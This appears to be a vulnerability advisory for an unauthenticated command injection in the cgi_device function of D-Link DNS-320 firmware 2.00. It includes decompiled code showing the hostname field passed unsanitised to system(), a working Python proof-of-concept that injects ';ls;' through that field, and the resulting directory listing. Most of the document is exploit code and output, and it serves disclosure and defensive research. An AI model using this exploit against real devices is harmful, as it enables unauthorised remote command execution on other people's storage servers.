D-Link DNS-320 system_mgr.cgi cgi_device function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The system_mgr.cgi binary's cgi_device
```

Suggested description

```
D-Link DNS-320 system_mgr.cgi cgi_device function Unauthenticated Command Injection Vulnerability
```

Vulnerability Details

```
Python script command injection
→ GET http://{ROUTER_IP}/cgi-bin/system_mgr.cgi, {
        "cmd": "cgi_device",
        "hostname": ;<your_command>,
        "workgroup": "",
        "description": ""
    }
    →cgiMain:(dispatcher entry point)
        →cgi_device: enter this function
        →cgi_device: get the content of hostname into v6 by calling
cgiFormString("hostname", v6, 64);
            →: concatenate v6 as a command into s
            →system: system(s)
```

```
else if ( !strcmp(s1, "cgi_device") )
{
  cgi_device();
}
```

```
int cgi_device()
{
  int v0; // r0
  int v1; // r0
  char s[128]; // [sp+0h] [bp-14Ch] BYREF
  _BYTE v4[64]; // [sp+80h] [bp-CCh] BYREF
  _BYTE v5[64]; // [sp+C0h] [bp-8Ch] BYREF
  char v6[76]; // [sp+100h] [bp-4Ch] BYREF

  cgiFormString("hostname", v6, 64);
  cgiFormString("workgroup", v5, 64);
  cgiFormString("description", v4, 64);
  xml_set_str("/system_mgr/samba/netbios_name", v6);
  xml_set_str("/system_mgr/samba/workgroup", v5);
  xml_set_str("/system_mgr/samba/server_string", v4);
  xml_write_file("/etc/NAS_CFG/config.xml");
  LIB_CP_Config_To_MTD(1);
  system("info.sh & >/dev/null");
  sprintf(s, "/bin/hostname %s", v6);
  v0 = system(s);
  iTunesServ_Restart(v0);
  v1 = system("/var/www/cgi-bin/cmd_network cmd_change_ip_update_file & >/dev/null");
  Chk_UPNP(v1);
  system("printer restart >/dev/null");
```

Attack

By exploiting this vulnerability for command execution, for example, the `ls` command can be executed as shown in the image below.

```python
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8876"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}/cgi-bin/system_mgr.cgi"

    cmd = f"ls"
    final_payload = f";{cmd};"

    data = {
        "cmd": "cgi_device",
        "hostname": final_payload,
        "workgroup": "",
        "description": ""
    }

```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
PS D:\Desktop\temp> python Verify.py
Status: 200
Response:
(none)
1.t
account_mgr.cgi
apkg_mgr.cgi
app_mgr.cgi
cmd_network
codepage_mgr.cgi
discovery.cgi
download_mgr.cgi
dsk_mgr.cgi
file_center.cgi
file_sharing.cgi
```

POC

```python
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8876"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}/cgi-bin/system_mgr.cgi"

    cmd = f"ls"
    final_payload = f";{cmd};"
```

```
    data = {
        "cmd": "cgi_device",
        "hostname": final_payload,
        "workgroup": "",
        "description": ""
    }

    try:
        response = requests.post(target_url, data=data, timeout=10)
        print("Status:", response.status_code)
        print("Response:")
        print(response.text)
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    run_exploit()
```

Finder

```
ZuZheng Yang
```